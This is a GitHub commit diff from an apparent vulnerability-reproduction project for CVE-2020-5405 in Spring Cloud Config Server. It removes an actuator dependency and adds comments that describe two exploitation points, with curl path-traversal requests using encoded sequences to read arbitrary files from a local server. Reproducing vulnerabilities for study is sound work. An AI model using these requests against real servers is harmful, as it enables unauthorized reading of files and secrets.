File tree Expand file tree Collapse file tree 2 files changed +10
-5
lines changed
spring/spring-cloud-config-server-CVE-2020-5405
src/main/java/com/threedr3am/bug/spring/config/server Expand file tree Collapse file tree 2 files changed +10
-5
lines changed Original file line number Diff line number Diff line change 2323 <artifactId >spring-cloud-config-server</artifactId >
2424 <version >2.2.1.RELEASE</version >
2525 </dependency >
26-
27- <dependency >
28- <groupId >org.springframework.boot</groupId >
29- <artifactId >spring-boot-starter-actuator</artifactId >
30- </dependency >
3126 </dependencies >
3227
3328 <build >
Original file line number Diff line number Diff line change 1616 *
1717 * org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedLocation
1818 *
19+ * 利用点1:
1920 * curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
2021 * 读取/User/xuanyonghao/tmp/aaa.xxx文件
2122 * foo 对应 {application}
2627 * todo 1. 文件必须有后缀,也就是.txt等等。
2728 * todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
2829 *
30+ * 利用点2:
31+ * org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
32+ * 利用此处把label处的(_)替换为/
33+ *
34+ * curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
35+ *
36+ * todo 条件限制:
37+ * todo 1. 文件必须有后缀,也就是.txt等等。
38+ * todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}
2939 * @author threedr3am
3040 */
3141package com .threedr3am .bug .spring .config .server ;
You can’t perform that action at this time.
0 commit comments